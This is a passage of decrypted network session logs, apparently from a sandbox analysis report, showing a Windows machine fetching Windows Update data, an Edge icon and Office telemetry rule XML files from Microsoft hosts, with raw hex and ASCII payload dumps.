2024-10-30 14:59:36 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.6	39717	52.149.20.212	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:36 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=eNHNM2cUaCzws2c&MD=1L+Ngsmd HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-30 14:59:36 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 846b37c2-7f5c-405c-96b0-b13e9db2decb MS-RequestId: b2a35c83-2824-425a-a364-6dcdc1d8f30a MS-CV: CvgJGy3c9U6bfoSF.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 30 Oct 2024 14:59:36 GMT Connection: close Content-Length: 30005
2024-10-30 14:59:36 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-10-30 14:59:36 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.6	49753	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:36 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-30 14:59:36 UTC	536	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:36 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: 3b7f99e2-a01e-0061-032b-282cd8000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241030T145936Z-16849878b78x6gn56mgecg60qc0000000a20000000005pvf Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:36 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.6	40426	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:36 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:37 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:36 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: a1e8ab16-701e-0050-601c-266767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145936Z-16849878b78km6fmmkbenhx76n00000007cg00000000w8v5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:37 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.6	1370	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:37 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:37 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:37 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 54290c1c-d01e-008e-01bf-27387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145937Z-16849878b78fhxrnedubv5byks00000006f000000000m4sf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 14:59:37 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.6	49764	13.107.246.45	443	7228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:37 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:37 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:37 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 4113dc96-c01e-008e-5a2a-277381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145937Z-16849878b78hh85qc40uyr8sc800000008fg00000000bp0g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:37 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.6	49765	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:37 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:37 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:37 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 9b485842-301e-0096-2f9c-27e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145937Z-15b8d89586f989rkwt13xern5400000003cg00000000fwrd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:37 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.6	49766	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:38 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:38 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:38 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: cf3e7330-401e-0078-5ca6-264d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145938Z-16849878b782d4lwcu6h6gmxnw00000007vg00000000e2bn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:38 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.6	49784	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:39 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:39 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:39 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 622dd3a6-e01e-0003-140d-260fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145939Z-16849878b78p49s6zkwt11bbkn00000007r000000000vzeg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:39 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.6	39536	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:39 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:39 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:39 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: fad7475d-801e-002a-7d7c-2a31dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145939Z-15b8d89586fzhrwgk23ex2bvhw0000000b1g00000000en72 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:39 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.6	20162	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:40 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:40 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:40 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: dbdc188e-001e-002b-6b28-2799f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145940Z-15b8d89586ffsjj9qb0gmb1stn0000000ce0000000006nun x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:40 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.6	49792	13.107.246.45	443	7228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:40 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
